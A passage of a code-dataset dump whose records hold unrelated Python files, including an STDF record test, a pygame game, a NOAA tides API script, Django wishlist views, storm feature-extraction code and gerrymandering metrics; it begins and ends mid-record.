part_cnt)\n rec_len += 4;\n expected_atdf += str(part_cnt) + \"|\"\n\n rtst_cnt = 123 \n record.set_value('RTST_CNT', rtst_cnt)\n rec_len += 4;\n\n abrt_cnt = 0 \n record.set_value('ABRT_CNT', abrt_cnt)\n rec_len += 4;\n\n good_cnt = 11234444\n record.set_value('GOOD_CNT', good_cnt)\n rec_len += 4;\n\n func_cnt = 0\n record.set_value('FUNC_CNT', func_cnt)\n rec_len += 4;\n\n wafer_id = 'WFR_NAS9999'\n record.set_value('WAFER_ID', wafer_id)\n rec_len += len(wafer_id) + 1;\n expected_atdf += wafer_id + \"|\"\n \n expected_atdf += str(site_grp) + \"|\"\n expected_atdf += str(rtst_cnt) + \"|\"\n expected_atdf += str(abrt_cnt) + \"|\"\n expected_atdf += str(good_cnt) + \"|\"\n expected_atdf += str(func_cnt) + \"|\"\n\n fabwf_id = 'FABWFR_FR'\n record.set_value('FABWF_ID', fabwf_id)\n rec_len += len(fabwf_id) + 1;\n expected_atdf += fabwf_id + \"|\"\n\n frame_id = 'FRAME_213141'\n record.set_value('FRAME_ID', frame_id)\n rec_len += len(frame_id) + 1;\n expected_atdf += frame_id + \"|\"\n\n mask_id = 'MASK_131212'\n record.set_value('MASK_ID', mask_id)\n rec_len += len(mask_id) + 1;\n expected_atdf += mask_id + \"|\"\n\n usr_desc = 'USR_DESC'\n record.set_value('USR_DESC', usr_desc)\n rec_len += len(usr_desc) + 1;\n expected_atdf += usr_desc + \"|\"\n\n exc_desc = 'DESC_NOTHING'\n record.set_value('EXC_DESC', exc_desc)\n rec_len += len(exc_desc) + 1;\n expected_atdf += exc_desc\n\n# Test serialization\n# 1. Save WRR STDF record into a file\n# 2. Read byte by byte and compare with expected value\n\n w_data = record.__repr__()\n io_data = io.BytesIO(w_data)\n\n stdfRecTest = STDFRecordTest(io_data, endian)\n# rec_len, rec_type, rec_sub\n stdfRecTest.assert_file_record_header(rec_len, 2, 20)\n# Test HEAD_NUM, expected value num_bins\n stdfRecTest.assert_int(1, head_num)\n# Test SITE_GRP, expected value site_grp\n stdfRecTest.assert_int(1, site_grp)\n# Test FINISH_T, expected value finish_t\n stdfRecTest.assert_int(4, finish_t)\n# Test PART_CNT, expected value part_cnt\n stdfRecTest.assert_int(4, part_cnt)\n# Test RTST_CNT, expected value rtst_cnt\n stdfRecTest.assert_int(4, rtst_cnt)\n# Test ABRT_CNT, expected value abrt_cnt\n stdfRecTest.assert_int(4, abrt_cnt)\n# Test GOOD_CNT, expected value good_cnt\n stdfRecTest.assert_int(4, good_cnt)\n# Test FUNC_CNT, expected value func_cnt\n stdfRecTest.assert_int(4, func_cnt)\n# Test WAFER_ID, expected value wafer_id\n stdfRecTest.assert_ubyte(len(wafer_id))\n stdfRecTest.assert_char_array(len(wafer_id), wafer_id);\n# Test FABWF_ID, expected value fabwf_id\n stdfRecTest.assert_ubyte(len(fabwf_id))\n stdfRecTest.assert_char_array(len(fabwf_id), fabwf_id);\n# Test FRAME_ID, expected value frame_id\n stdfRecTest.assert_ubyte(len(frame_id))\n stdfRecTest.assert_char_array(len(frame_id), frame_id);\n# Test MASK_ID, expected value mask_id\n stdfRecTest.assert_ubyte(len(mask_id))\n stdfRecTest.assert_char_array(len(mask_id), mask_id);\n# Test USR_DESC, expected value usr_desc\n stdfRecTest.assert_ubyte(len(usr_desc))\n stdfRecTest.assert_char_array(len(usr_desc), usr_desc);\n# Test EXC_DESC, expected value exc_desc\n stdfRecTest.assert_ubyte(len(exc_desc))\n stdfRecTest.assert_char_array(len(exc_desc), exc_desc);\n\n# Test de-serialization\n# 1. Open STDF record from a file\n# 2. Read record fields and compare with the expected value\n\n inst = WRR('V4', endian, w_data)\n# rec_len, rec_type, rec_sub\n stdfRecTest.assert_instance_record_header(inst , rec_len, 2, 20)\n# Test HEAD_NUM, position 3, value of head_num variable\n stdfRecTest.assert_instance_field(inst, 3, head_num);\n# Test SITE_GRP, position 4, value of site_grp variable\n stdfRecTest.assert_instance_field(inst, 4, site_grp);\n# Test FINISH_T, position 5, value of finish_t variable\n stdfRecTest.assert_instance_field(inst, 5, finish_t);\n# Test PART_CNT, position 6, value of part_cnt variable\n stdfRecTest.assert_instance_field(inst, 6, part_cnt);\n# Test RTST_CNT, position 7, value of rtst_cnt variable\n stdfRecTest.assert_instance_field(inst, 7, rtst_cnt);\n# Test ABRT_CNT, position 8, value of abrt_cnt variable\n stdfRecTest.assert_instance_field(inst, 8, abrt_cnt);\n# Test GOOD_CNT, position 9, value of good_cnt variable\n stdfRecTest.assert_instance_field(inst, 9, good_cnt);\n# Test FUNC_CNT, position 10, value of func_cnt variable\n stdfRecTest.assert_instance_field(inst, 10, func_cnt);\n# Test WAFER_ID, position 11, value of wafer_id variable\n stdfRecTest.assert_instance_field(inst, 11, wafer_id);\n# Test FABWF_ID, position 12, value of fabwf_id variable\n stdfRecTest.assert_instance_field(inst, 12, fabwf_id);\n# Test FRAME_ID, position 13, value of frame_id variable\n stdfRecTest.assert_instance_field(inst, 13, frame_id);\n# Test MASK_ID, position 14, value of mask_id variable\n stdfRecTest.assert_instance_field(inst, 14, mask_id);\n# Test USR_DESC, position 15, value of usr_desc variable\n stdfRecTest.assert_instance_field(inst, 15, usr_desc);\n# Test EXC_DESC, position 16, value of exc_desc variable\n stdfRecTest.assert_instance_field(inst, 16, exc_desc);\n\n \n# Test ATDF output\n assert inst.to_atdf() == expected_atdf\n\n# Test printing when the record is empty\n empty = WRR('V4', endian)\n print(empty)\n\n# ToDo: Test JSON output\n","sub_path":"tests/test_WRR.py","file_name":"test_WRR.py","file_ext":"py","file_size_in_byte":7016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"6956661","text":"import pygame\nimport random\nimport sys\nfrom os import path\nfrom pygame.locals import QUIT\nimport time \n\n\nimg_dir = path.join(path.dirname(__file__), 'img')\n\n\nWIDTH = 750\nHEIGHT = 600\nFPS = 60\nmove_side = 20\nmove_event = pygame.USEREVENT + 1\n\n#Define Colors\nWHITE = (255,255,255)\nBLACK = (0,0,0)\nRED = (255,0,0)\nGREEN = (0,255,0)\nBLUE = (0,0,255)\nYELLOW = (255,255,0)\nPURPLE = (255,0,255)\n\n#Initialise pygame and create window\npygame.init()\npygame.mixer.init()#for the sound\nscreen = pygame.display.set_mode((WIDTH, HEIGHT))\npygame.display.set_caption(\"Swerve\")\nclock = pygame.time.Clock()\n\n#Game Sounds\nhitsound = pygame.mixer.Sound('Cat Yelling In Fear-SoundBible.com-455973055.wav')\ngoversound = pygame.mixer.Sound('GameOver.wav')\n\nmusic = pygame.mixer.music.load('bgsong.mp3')\npygame.mixer.music.play(loops=-1)\n\n\nscore = 0\ngameLives = 3\ngameNo = 2\n\nfont_name = pygame.font.match_font('arial')\n\ndef draw_text(surf, text, size, x, y): #xy for location, size for how big\n \n\n font = pygame.font.Font(font_name, size)\n text_surface = font.render(text, True, WHITE) #True/False whether you\n #want the font anti-alias or not\n text_rect = text_surface.get_rect()\n text_rect.midtop = (x,y)\n surf.blit(text_surface, text_rect)\n \n\n # x --- Making the Player + Movements --- x\n \nclass Player(pygame.sprite.Sprite): \n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.transform.scale(player_img, (65,65))\n self.image.set_colorkey(BLACK)\n #every sprite has to have this self.rect. Rect that encloses the sprite moving it\n #around and determines where it is in the screen.\n self.rect = self.image.get_rect()\n self.radius = 21\n # pygame.draw.circle(self.image, RED, self.rect.center, self.radius)\n #Putting the player at the center of the screen\n self.rect.centerx = WIDTH / 2\n self.rect.bottom = HEIGHT - 8\n self.speedx = 0 \n\n def update(self):\n \n self.speedx = 0 #speed of player is always zero, should never be moving\n keystate = pygame.key.get_pressed()\n if keystate[pygame.K_LEFT]:\n self.speedx = -8\n if keystate[pygame.K_RIGHT]:\n self.speedx = 8\n self.rect.x += self.speedx\n #player will not move outside the window box when moving left/right\n if self.rect.right > WIDTH:\n self.rect.right = WIDTH\n if self.rect.left < 0:\n self.rect.left = 0\n\n self.speedy = 0\n if keystate[pygame.K_UP]:\n self.speedy = -6\n if keystate[pygame.K_DOWN]:\n self.speedy = 6\n self.rect.y += self.speedy\n \n #player will not move outside the window box when moving up/down\n if self.rect.top < 0:\n self.rect.top = 0\n if self.rect.bottom > HEIGHT:\n self.rect.bottom = HEIGHT\n\n def reset(self):\n self.rect.centerx = WIDTH / 2\n self.rect.bottom = HEIGHT - 8 \n \n # x --- Making the Attackers + Movements --- x\n\nclass Attacker(pygame.sprite.Sprite):\n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.image = attacker_img\n self.image = pygame.transform.scale(attacker_img, (30,40))\n self.image.set_colorkey(WHITE)\n \n self.rect = self.image.get_rect()\n self.radius = 18\n # pygame.draw.circle(self.image, RED, self.rect.center, self.radius)\n self.rect.x = random.randrange(0, WIDTH - self.rect.width)\n self.rect.y = random.randrange(-100,-40) #where? up above the screen\n self.speedy = random.randrange(1,3) #randomize their speed. slow + fast\n #move from side to side\n self.speedx = random.randrange(-2,2)\n \n def update(self):\n self.rect.x += self.speedx #updated for moving side to side\n \n self.rect.y += self.speedy\n if self.rect.top > HEIGHT + 20 or self.rect.left < -25 or self.rect.right > WIDTH + 35:\n self.rect.x = random.randrange(0, WIDTH - self.rect.width)\n self.rect.y = random.randrange(-100,-40)\n self.speedy = random.randrange(2,3)\n\n def reset(self):\n self.rect.y = random.randrange(-100,-40)\n self.speedy = random.randrange(1,3)\n \n\n # x ----- EXPLOSION ----- x \n\nclass Explosion(pygame.sprite.Sprite):\n def __init__(self, center, ex_type, explosion_anim):\n super().__init__()\n self.ex_type = ex_type\n self.explosion_anim = explosion_anim\n self.image = explosion_anim[self.ex_type][0]\n self.rect = self.image.get_rect()\n self.rect.center = center\n self.frame = 0\n self.last_update = pygame.time.get_ticks()\n self.frame_rate = 50\n\n def update(self):\n current_time = pygame.time.get_ticks()\n #print(self.frame)\n if current_time - self.last_update > self.frame_rate:\n self.last_update = current_time\n self.frame += 1\n if self.frame == len(self.explosion_anim[self.ex_type]):\n self.kill()\n #return True\n else:\n center = self.rect.center\n self.image = self.explosion_anim[self.ex_type][self.frame]\n self.rect.center = center \n\n\n # x ---- START SCREEN MENU ---- x\n\ndef menu():\n\n menumusic = pygame.mixer.music.load('Fun Background.mp3')\n pygame.mixer.music.play(loops=-1)\n\n #Background\n background = pygame.image.load('img/bbg.png').convert()\n background_rect = background.get_rect()\n\n #Extra Images for Screen\n \n fire_show = pygame.image.load(path.join(img_dir, 'fire1.png')).convert_alpha()\n fire_show = pygame.transform.scale(fire_show, (24,28))\n \n fire_showw = pygame.image.load(path.join(img_dir, 'fire1.png')).convert_alpha()\n fire_showw = pygame.transform.scale(fire_showw, (24,28))\n\n fire_show = pygame.image.load(path.join(img_dir, 'fire1.png')).convert_alpha()\n fire_show = pygame.transform.scale(fire_show, (24,28))\n\n cat_alt = pygame.image.load(path.join(img_dir, 'cat3.png')).convert_alpha()\n cat_alt = pygame.transform.scale(cat_alt, (45,45))\n\n arrow_keys = pygame.image.load(path.join(img_dir, 'arrows.jpg')).convert_alpha()\n arrow_keys = pygame.transform.scale(arrow_keys, (76,60))\n \n screen.blit(background, background_rect)\n screen.blit(fire_show, (340,203))\n screen.blit(fire_showw, (380, 204))\n screen.blit(fire_showw, (420, 201.4))\n screen.blit(cat_alt, (370, 232))\n screen.blit(arrow_keys, (120, 300))\n\n #Text for Screen \n \n image = pygame.image.load(\"Welcome-to-Swerve-.png\").convert_alpha()\n screen.blit(image, (70,40)) #right.left, up/down\n\n draw_text(screen, \"This single player game is meant to be quick and easy.\", 20, WIDTH/2, HEIGHT/5)\n draw_text(screen, \"Simply avoid the attackers, the red fires, falling from space\", 20, WIDTH/2, HEIGHT/4.2)\n draw_text(screen, \"by moving your player, the blue Manx cat.\", 20, WIDTH/2, HEIGHT/3.6) \n draw_text(screen, \"Use the arrow keys to move your player.\", 18, WIDTH/2, HEIGHT/1.9) \n draw_text(screen, \"You have 3 lives to reachest the highest score possible.\", 18, WIDTH/2, HEIGHT/1.8)\n draw_text(screen, \"There is no pause button.\", 18, WIDTH/2, HEIGHT/1.7)\n draw_text(screen, \"Press [ENTER] to play\", 32, WIDTH/2, HEIGHT/1.4)\n draw_text(screen, \"Press [Q] to quit\", 32, WIDTH/2, HEIGHT/1.3)\n draw_text(screen, \"Special thanks to Karen for guiding me through this entire project, supporting me, and making the process enjoyable.\", 14, WIDTH/2, HEIGHT/1.10)\n draw_text(screen, \"Thank you to my mentor Alma for the constant support and advising me to learn and improve from every opportunity.\", 14, WIDTH/2, HEIGHT/1.07)\n draw_text(screen, \"Thank you to America Needs You for providing me with this and many other countless opportunities while positively impacting our life.\", 14, WIDTH/2, HEIGHT/1.04)\n\n \n pygame.display.update()\n \n while True:\n event = pygame.event.poll()\n if event.type == pygame.KEYDOWN:\n\n if event.key == pygame.K_RETURN:\n break\n elif event.key == pygame.K_q:\n pygame.quit()\n sys.exit()\n elif event.type == QUIT:\n pygame.quit()\n sys.exit()\n\n \n#Load all game graphics\nbackground = pygame.image.load('img/bg.png').convert()\nbackground_rect = background.get_rect()\nplayer_img = pygame.image.load(path.join(img_dir, \"cat3.png\")).convert()\nattacker_img = pygame.image.load(path.join(img_dir, \"fire1.png\")).convert_alpha()\n\n### EXPLOSION SPRITE\nexplosion_anim = {}\nexplosion_anim['lg'] = []\nexplosion_anim['sm'] = []\nfor i in range(3):\n filename = 'regularExplosion0{}.png'.format(i)\n img = pygame.image.load(path.join(img_dir, filename)).convert()\n img.set_colorkey(BLACK)\n img_lg = pygame.transform.scale(img, (75,75))\n explosion_anim['lg'].append(img_lg)\n img_sm = pygame.transform.scale(img, (32,32))\n explosion_anim['sm'].append(img_sm)\n\n\n# Our Sprite Groups\nall_sprites = pygame.sprite.Group()\nattackers = pygame.sprite.Group()\nplayer = Player()\nexplosion = pygame.sprite.Group()\nall_sprites.add(player)\n\nfor i in range(20):\n \n #number of attackers\n a = Attacker()\n all_sprites.add(a)\n attackers.add(a)\n\npygame.time.set_timer(move_event, move_side)\n\nscore = 0\ntopScore = 0\nhope = False\n\n#Game Loop\n\nrunning = True\nshow_menu = True\n\nwhile running:\n score += 1\n #Keep loop running at the right speed\n clock.tick(FPS)\n #process input (events)\n if show_menu:\n menu()\n pygame.time.delay(0)\n pygame.mixer.music.fadeout(1000)\n pygame.mixer.music.load('bgsong.mp3')\n pygame.mixer.music.play(-1)\n show_menu = False \n\n for event in pygame.event.get():\n if event.type == move_event:\n attackers.update()\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_q:\n running = False\n pygame.quit()\n sys.exit()\n if event.type == pygame.QUIT:\n running = False\n\n \n #Updating Sprites\n player.update()\n attackers.update()\n explosion.update()\n \n\n #Check to see if an attacker hits the player\n collisions = pygame.sprite.spritecollide(player, attackers, True, pygame.sprite.collide_circle)\n for hit in collisions:\n expl = Explosion(player.rect.center, 'lg', explosion_anim)\n explosion.add(expl)\n all_sprites.add(expl)\n\n new_attacker = Attacker()\n attackers.add(new_attacker)\n all_sprites.add(new_attacker)\n\n if collisions:\n hope = True\n pygame.time.set_timer(move_event, 0)\n pygame.event.clear()\n\n if len(explosion) == 0 and hope == True:\n hope = False\n pygame.time.set_timer(move_event, move_side)\n\n gameLives -= 1\n\n if gameLives >= 1:\n \n \n pygame.draw.rect(screen, BLUE, (210, 280, 320, 80))\n draw_text(screen, 'You died! You have' + ' ' + str(gameLives) + ' ' + 'lives remaining', 20, 375, 300)\n draw_text(screen, 'The game will restart in' + ' ' + str(3) + ' ' + 'seconds', 20, 380, 320)\n hitsound.play()\n\n \n for attacker in attackers:\n attacker.reset()\n player.reset()\n\n \n if gameLives < 1:\n pygame.draw.rect(screen, GREEN, (194, 185, 396, 280))\n draw_text(screen, 'Game over!', 48, 390, 240)\n draw_text(screen, 'Your final score is:', 28, 390, 310)\n draw_text(screen, str(score - 1) + ' ', 32, 392, 360)\n pygame.mixer.music.pause()\n goversound.play()\n pygame.display.update()\n pygame.time.wait(4000)\n show_menu = True \n \n if score > topScore:\n topScore = score\n \n \n pygame.display.update()\n pygame.event.pump() #not behind by a frame \n pygame.time.wait(3000)\n \n pygame.event.clear()\n \n #Draw / render\n #screen.fill(GREEN)\n screen.blit(background, background_rect)\n all_sprites.draw(screen)\n draw_text(screen, 'Score:' + ' ' + str(score), 18, WIDTH / 2, 5)\n draw_text(screen, 'Top Score:' + ' ' +str(topScore), 18, WIDTH / 2, 28)\n draw_text(screen, 'Lives:' + ' ' +str(gameLives), 18, WIDTH / 2, 50)\n \n \n\n pygame.display.flip()\n\npygame.quit()\n\n","sub_path":"swerve.py","file_name":"swerve.py","file_ext":"py","file_size_in_byte":12793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"238171326","text":"\"\"\"\"\"\nPull data from NOAA sensors:\n1. product: The feature(s) you wish to extract\n2. application:\n3. begin_date: start of date range you wish to pull\n4. end_date: the end of the date range you wish to pull\n5. datum: The feature metric\n6. station: Node location (ID)\n7. time_zone: Date format\n8. units: Metric or enlgish\n9. format: the format of the output file.\n\"\"\"\n\nimport json\nimport os\nimport requests\nimport pandas\nimport sys\n\ndates=[('20180805','20180904'),('20180905','20181004'),('20181005','20181105')] #3 months of data\nURL = 'https://tidesandcurrents.noaa.gov/api/datagetter?'\n#print('Date Time, Prediction')\ndef api_request(url, parameters):\n URL='https://tidesandcurrents.noaa.gov/api/datagetter?'\n response = requests.get(url, params=parameters)\n return response\n\nfor tuple in dates:\n #print(tuple[0])\n parameters={\n 'product': 'air_pressure', #can change product to predictions for the NOAA predictions\n 'application':'NOS.COOPS.TAC.WL',\n 'begin_date':tuple[0],\n 'end_date':tuple[1],\n 'datum':'MLLW',\n 'station':'1612480',\n 'time_zone' : 'lst',\n 'units' : 'english',\n 'format' : 'csv'\n }\n\n response=api_request(URL, parameters)\n print(response.text)\n\n #final_csv.append(response.text)\n\n#print(final_csv)\n\n\n","sub_path":"scripts/NOAAapi.py","file_name":"NOAAapi.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"62755383","text":"'''\nbuttsworth : a django chatterbot for David Buttsworth\nCopyright (C) 2015 Gregory Martin\n@yro 12.2015\n\nTanimoto / Binary Condition\n'''\nfrom __future__ import division\n\nimport os\nimport sys\nfrom math import sqrt\n\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nfrom env import *\n\n\n'''Let's take these in as lists'''\ndef single_response_tanimoto(input_text, sample_response):\n\n # print '* single_response *'\n common = 0\n\n for a in input_text:\n for b in sample_response:\n if a.lower() == b.lower():\n common += 1\n if common == 0:\n return 0.0\n else:\n tan_coeff = float(common) / float(len(input_text) + len(sample_response) - common)\n return tan_coeff\n\n\nif __name__ == '__main__':\n single_response_tanimoto(\n input_text='', \n sample_response=''\n )\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"training/tanimoto_corr.py","file_name":"tanimoto_corr.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"653383391","text":"from django.shortcuts import redirect, render\nfrom home.models import *\nfrom .models import Wishlist\nfrom home.views import BaseView\nfrom django.contrib.auth.decorators import login_required\n\n# Create your views here.\n# -----------------Wishlist----------------------\n@login_required\ndef add_to_wishlist(request, slug):\n username = request.user.username\n\n data = Wishlist.objects.create(\n username=username,\n items=Item.objects.filter(slug=slug)[0],\n slug=slug\n )\n data.save()\n return redirect('wishlist:my_wishlist')\n\n\nclass WishlistView(BaseView):\n def get(self, request):\n username = request.user.username\n self.views['my_wishlist'] = Wishlist.objects.filter(username=username, checkout=False,)\n return render(request, 'wishlist.html', self.views)\n\n\ndef delete_wishlist(request, slug):\n username = request.user.username\n Wishlist.objects.filter(username=username, checkout=False, slug=slug).delete()\n return redirect('wishlist:my_wishlist')","sub_path":"wishlist/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"469567663","text":"import os \n\ndef GetName():\n for root ,dirs,files in os.walk('.'):\n for file in files :\n path = os.path.join(root,file)\n print('%s\\t %s'%(file,path))\n\nif __name__ == '__main__':\n GetName() \n","sub_path":"Python/learnpython/oop/finddir2.py","file_name":"finddir2.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"578488426","text":"import numpy as np\nimport itertools\nimport sys\nsys.path.append( '/home/monte.flora/NEWSeProbs/misc_python_scripts')\nfrom scipy.spatial import cKDTree\n\n\nclass StormBasedFeatureEngineering:\n '''\n StormBasedFeatureEngineering handles extraction for both patches and storm-based \n '''\n def __init__( self, grid_size = 24, patches=False, ROI_STORM = 7, ROI_ENV = 15 ): \n self.ROI_STORM = ROI_STORM \n self.ROI_ENV = ROI_ENV \n if patches:\n self.grid_size = grid_size\n self.delta = int(grid_size/2)\n self.dist_from_edge = 6\n self.BUFFER = self.delta + self.dist_from_edge\n else:\n self.BUFFER = ROI_STORM + 1\n\n def extract_spatial_features_from_object( self, input_data, \n forecast_objects, \n good_object_labels,\n mem_idx=None,\n only_mean=False ):\n ''' Extract intra-storm state features for machine learning \n \n ------------------\n Args:\n input_data, \n Returns:\n features, shape = ( n_objects, n_var*n_stats )\n '''\n stat_funcs, stat_func_names = self._set_of_stat_functions(only_mean=only_mean)\n num_of_objects = len(good_object_labels)\n var_list = list( input_data.keys() )\n num_of_features = len(var_list) * len(stat_funcs)\n num_of_spatial_stats = len(stat_funcs)\n \n #n_object, n_var*n_stats\n feature_names = [ ]\n for n, atuple in enumerate( list(itertools.product(var_list, range(num_of_spatial_stats)))):\n feature_names.append(atuple[0]+stat_func_names[atuple[1]]) \n\n features = np.zeros(( num_of_objects, len(var_list)*len(stat_funcs) ))\n if len(np.unique(forecast_objects)) == 1 or num_of_objects == 0:\n return features\n else:\n storm_points = {label: np.where( forecast_objects == label ) for label in good_object_labels}\n for i, object_label in enumerate( good_object_labels): \n for n, atuple in enumerate(list( itertools.product(var_list, range(num_of_spatial_stats)))): \n var = atuple[0]; k = atuple[1]\n if mem_idx is not None:\n data = input_data[var][mem_idx,:,:]\n else:\n data = input_data[var]\n features[i, n] = self._generic_function( stat_funcs[k][0], \n input_data=data[storm_points[object_label]],\n parameter=stat_funcs[k][1]\n )\n \n return features, feature_names #dim = (n_objects, n_var*n_stats) \n\n\n\n def extract_amplitude_features_from_object( self,\n input_data, \n forecast_objects,\n good_object_labels):\n ''' Extract ensemble amplitude statistics from object '''\n func_set = [ (np.nanstd, 'ddof') , (np.nanmean,None)]\n func_names = [ '_ens_std_of_90th', '_ens_mean_of_90th', ]\n num_of_objects = len(good_object_labels)\n var_list = list( input_data.keys() )\n num_of_features = len(var_list) * len(func_set)\n features = np.zeros(( num_of_objects, len(var_list)*len(func_set) ))\n\n feature_names = [ ]\n for n, atuple in enumerate( list(itertools.product(var_list, range(len(func_set))))):\n feature_names.append(atuple[0]+func_names[atuple[1]]) \n\n if len(np.unique(forecast_objects)) == 1 or num_of_objects == 0:\n return features\n else:\n storm_points = {label: np.where( forecast_objects == label ) for label in good_object_labels}\n for i, object_label in enumerate( good_object_labels):\n for n, atuple in enumerate(list( itertools.product(var_list, range(len(func_set))))):\n var = atuple[0]; k = atuple[1]\n data = input_data[var]\n # NE, NY, NX\n amplitudes = self.ensemble_amplitudes( data = data, storm_points=storm_points, object_label=object_label)\n features[i, n] = self._generic_function( func_set[k][0],\n input_data=amplitudes,\n parameter=func_set[k][1]\n )\n\n return features, feature_names #dim = (n_objects, n_var*n_stats) \n \n \n def ensemble_amplitudes(self, data, storm_points, object_label):\n '''\n ---------\n Args:\n data, array of shape (NE, NY, NX)\n '''\n y_set = storm_points[object_label][0]\n x_set = storm_points[object_label][1]\n amplitudes = np.nanpercentile( data[:,y_set,x_set], 90, axis=1 ) \n\n return amplitudes\n\n\n\n def _extract_storm_features_in_circle( self, input_data, x_object_cent, y_object_cent ): \n ''' Extract intra-storm state features for machine learning '''\n x = np.arange(input_data.shape[-1])\n y = np.arange(input_data.shape[-2])\n stat_functions = self._set_of_stat_functions( )\n object_centroids = list(zip( y_object_cent, x_object_cent ))\n obj_strm_data = np.zeros(( len(object_centroids), input_data.shape[0] * len(stat_functions) ))\n for i, obj_cent in enumerate( object_centroids ): \n rho, phi = self._cart2pol( x[np.newaxis,:]-obj_cent[1], y[:,np.newaxis]-obj_cent[0] ) \n storm_points = np.where(rho <= self.ROI_STORM )\n for j, k in enumerate( list(itertools.product( range(input_data.shape[0]), range(len(stat_functions)) ))):\n v = k[0] ; s = k[1]\n temp_data = input_data[v,:,:]\n func_set = stat_functions[s]\n obj_strm_data[i, j] = self._generic_function( func=func_set[0], input_data=temp_data[storm_points], parameter=func_set[1])\n \n return obj_strm_data #dim = (n_objects, n_var*n_stats) \n\n def _extract_environment_features_in_arcregion( self, input_data, x_object_cent, y_object_cent, avg_bunk_v_per_obj, avg_bunk_u_per_obj ):\n ''' Extract storm-inflow environment features for machine learning '''\n x = np.arange(input_data.shape[-1])\n y = np.arange(input_data.shape[-2])\n stat_functions = self._set_of_stat_functions( )\n object_centroids = list(zip( y_object_cent, x_object_cent ))\n obj_env_data = np.zeros(( len(object_centroids), input_data.shape[0] * len(stat_functions) ))\n for i, obj_cent in enumerate( object_centroids ): \n rho, phi = self._cart2pol( x[np.newaxis,:]-obj_cent[1], y[:,np.newaxis]-obj_cent[0] )\n bunk_u = avg_bunk_u_per_obj[i]\n bunk_v = avg_bunk_v_per_obj[i]\n env_points = self._find_storm_inflow_region( bunk_u, bunk_v, rho, phi )\n for j, k in enumerate( list(itertools.product( range(input_data.shape[0]), range(len(stat_functions)) ))):\n v = k[0] ; s = k[1]\n temp_data = input_data[v,:,:]\n func_set = stat_functions[s]\n obj_env_data[i, j] = self._generic_function( func=func_set[0], input_data=temp_data[env_points], parameter=func_set[1])\n \n return obj_env_data #dim = (n_objects, n_var*n_stats) \n\n def extract_storm_patch( self, input_data, x_object_cent, y_object_cent ):\n ''' Extract the patches centered on the obj_centers '''\n object_centroids = list(zip( y_object_cent, x_object_cent ))\n storm_patches = np.zeros(( len(object_centroids), self.grid_size, self.grid_size, np.shape(input_data)[0] ))\n # print storm_patches.shape (n_objects, 24, 24, 13)\n for i, obj_cent in enumerate( object_centroids ):\n obj_y = obj_cent[0]\n obj_x = obj_cent[1]\n for v in range( np.shape(input_data)[0] ):\n storm_patches[i, :,:, v] = input_data[ v, obj_y-self.delta:obj_y+self.delta, obj_x-self.delta:obj_x+self.delta ]\n\n return storm_patches \n\n def _find_storm_inflow_region( self, bunk_v, bunk_u, rho, phi ):\n ''' Find storm inflow region using the average intra-storm bunker's motion vector '''\n # Bunker's motion in degrees\n left = ( np.arctan2( bunk_v, bunk_u ) * (180./np.pi) ) + 10.\n right = left - 110. \n inflow_indices = np.where((phi <= left )& (phi >= right)&(rho <= self.ROI_ENV ))\n \n return inflow_indices \n\n def _cart2pol( self, x, y ):\n ''' Converts from cartesian coordinates to polar coordinates ''' \n rho = np.sqrt(x**2 + y**2)\n phi = np.arctan2(y, x) * (180./np.pi)\n return(rho, phi) \n\n def _remove_objects_near_boundary(self, x_obj_cent, y_obj_cent, NY, NX):\n \"\"\" Removes objects with centroid too close to the domain boundaries \n The buffer zone is a combination of a static distance from the boundary and size of the storm path \"\"\"\n xlims = np.arange(self.BUFFER, NX - self.BUFFER +1)\n ylims = np.arange(self.BUFFER, NY - self.BUFFER +1)\n\n good_idx = [ ]\n for i, centers in enumerate( list(zip(x_obj_cent, y_obj_cent))): \n if (centers[1] in ylims and centers[0] in xlims): \n good_idx.append( i ) \n \n return good_idx\n\n def _set_of_stat_functions( self, names=True, only_mean=False ):\n \"\"\" Function returns a list of function objects \"\"\"\n func_set = [ (np.nanmean,None), (np.nanpercentile, 10), (np.nanpercentile, 90) ]\n func_names = [ '_spatial_mean', '_spatial_10th', '_spatial_90th' ] \n \n if only_mean:\n if names:\n return [(np.nanmean, None)], [ '_spatial_mean']\n else:\n return [(np.nanmean, None)]\n else:\n if names:\n return func_set, func_names\n else:\n return func_set\n\n def _generic_function( self, func , input_data, parameter=None ):\n \"\"\" A function meant to implement the various function objects in 'set_of_stat_functions'\"\"\"\n if parameter == 'ddof':\n return func( input_data, ddof=1 )\n elif parameter is not None:\n return func( input_data, parameter)\n else:\n return func( input_data )\n\n\n\n\n","sub_path":"extraction/StormBasedFeatureEngineering.py","file_name":"StormBasedFeatureEngineering.py","file_ext":"py","file_size_in_byte":10641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"347022519","text":"import statistics\n\n\ndef mean_median(election_results):\n \"\"\"\n Computes the Mean-Median score for the given ElectionResults.\n A positive value indicates an advantage for the first party listed\n in the Election's parties_to_columns dictionary.\n \"\"\"\n first_party_results, *others = election_results.percents_for_party.values()\n data = list(first_party_results.values())\n\n return statistics.median(data) - statistics.mean(data)\n\n\ndef mean_thirdian(election_results):\n \"\"\"\n Computes the Mean-Median score for the given ElectionResults.\n A positive value indicates an advantage for the first party listed\n in the Election's parties_to_columns dictionary.\n \"\"\"\n first_party_results, *others = election_results.percents_for_party.values()\n data = list(first_party_results.values())\n\n thirdian_index = round(len(data) / 3)\n thirdian = sorted(data)[thirdian_index]\n\n return thirdian - 